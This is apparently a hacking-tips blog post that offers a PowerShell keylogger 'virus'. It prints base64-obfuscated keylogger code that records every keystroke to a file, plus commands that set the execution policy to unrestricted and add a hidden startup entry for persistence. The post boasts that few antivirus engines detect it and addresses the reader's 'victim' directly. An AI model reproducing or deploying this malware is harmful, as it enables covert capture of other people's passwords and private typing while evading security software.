Hacking Tips & Tricks
Trending

Make PowerShell Keyloggers Virus

PowerShell is a great tool for making all your virus needs. You can do almost anything in PowerShell, including making keyloggers.

PowerShell is a great tool for making all your virus needs. You can do almost anything in PowerShell, including making keyloggers. Though it is more practical to make them in VB or C# here is a simple and effective piece of keylogger code:

 

 

All those random comments actually do something with I will explain in a minute.

So if you run this in PowerShell it comes up as a PowerShell window, something obvious and suspicious. Also, you can convert it into a .exe file but anti-virus catches those pretty easily.

So I converted the script into base64 and ran a program that decrypts it and runs the code, the random comments add randomness to the base64 encryption. The program looks like this:

 

[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String(“I3JlcXVpcmVzIC1WZXJzaW9uIDINCg0KI0xPTCBZT1UgQ1JBWlkNCmZ1bmN0aW9uIFN0YXJ0LUtleUxvZ2dlcigkUGF0aD0iQzovdXNlcnMvcHVibGljL2xvZ2ZpbGUudHh0IikgDQp7DQogICMgU2lnbmF0dXJlcyBmb3IgQVBJIENhbGxzDQogICRzaWduYXR1cmVzID0gQCcNCltEbGxJbXBvcnQoInVzZXIzMi5kbGwiLCBDaGFyU2V0PUNoYXJTZXQuQXV0bywgRXhhY3RTcGVsbGluZz10cnVlKV0gDQpwdWJsaWMgc3RhdGljIGV4dGVybiBzaG9ydCBHZXRBc3luY0tleVN0YXRlKGludCB2aXJ0dWFsS2V5Q29kZSk7IA0KW0RsbEltcG9ydCgidXNlcjMyLmRsbCIsIENoYXJTZXQ9Q2hhclNldC5BdXRvKV0NCnB1YmxpYyBzdGF0aWMgZXh0ZXJuIGludCBHZXRLZXlib2FyZFN0YXRlKGJ5dGVbXSBrZXlzdGF0ZSk7DQpbRGxsSW1wb3J0KCJ1c2VyMzIuZGxsIiwgQ2hhclNldD1DaGFyU2V0LkF1dG8pXQ0KcHVibGljIHN0YXRpYyBleHRlcm4gaW50IE1hcFZpcnR1YWxLZXkodWludCB1Q29kZSwgaW50IHVNYXBUeXBlKTsNCltEbGxJbXBvcnQoInVzZXIzMi5kbGwiLC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lydHVhbEtleSwgJGtic3RhdGUsICRteWNoYXIsICRteWNoYXIuQ2FwYWNpdHksIDApDQojTE9MIFlPVSBDUkFaWSBrc2phc2lhZmJzZGhidg0KICAgICAgICAgIGlmICgkc3VjY2VzcykgDQogICAgICAgICAgew0KICAgICAgICAgICAgIyBhZGQga2V5IHRvIGxvZ2dlciBmaWxlDQogICAgICAgICAgICBbU3lzdGVtLklPLkZpbGVdOjpBcHBlbmRBbGxUZXh0KCRQYXRoLCAkbXljaGFyLCBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVbmljb2RlKSANCiAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgIH0NCiAgICB9DQogIH0NCiAgZmluYWxseQ0KICB7DQogICAgIyBvcGVuIGxvZ2dlciBmaWxlIGluIE5vdGVwYWQNCiAgICAjTE9MIFlPVSBDUkFaWSBrc2phc2lhZmJzZGhidg0KICB9DQp9DQoNCiMgcmVjb3JkcyBhbGwga2V5IHByZXNzZXMgdW50aWwgc2NyaXB0IGlzIGFib3J0ZWQgYnkgcHJlc3NpbmcgQ1RSTCtDDQojIHdpbGwgdGhlbiBvcGVuIHRoZSBmaWxlIHdpdGggY29sbGVjdGVkIGtleSBjb2Rlcw0KU3RhcnQtS2V5TG9nZ2VyDQojTE9MIFlPVSBDUkFaWSBrc2phc2lhZmJzZGhidg0KDQojTE9MIFlPVSBDUkFaWSBrc2phc2lhZmJzZGhidg==”)) >C:\users\Public\logfile.ps1set-executionpolicy unrestrictedecho powershell.exe -noexit -windowstyle hidden C:\users\Public\logfile.ps1 >C:\Users\charl\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\.batpowershell.exe -noexit -windowstyle hidden C:\users\Public\logfile.ps1

 

So if you convert this into a .exe file currently only 13 of 66 anti-viruses detect it on virus total, so if you load it onto a system with these anti-viruses it probably won’t work. I could probably do better encryption but it’s ok for a small project.

There are currently 13 anti-viruses that detect it a virus, so if your victim doesn’t have one of those your good to go.

Tags

Shakil Ahmed

I'm a Content writer. My topic is Tech, Story, SEO, Digital Marketing etc. I'm Work With MDOmarMakki.Org Website for CEO of This Website MD Omar Makki

Related Articles

Leave a Reply

Leave a Reply

Your email address will not be published. Required fields are marked *

Back to top button
error: Alert: Content is protected !!
Close
Close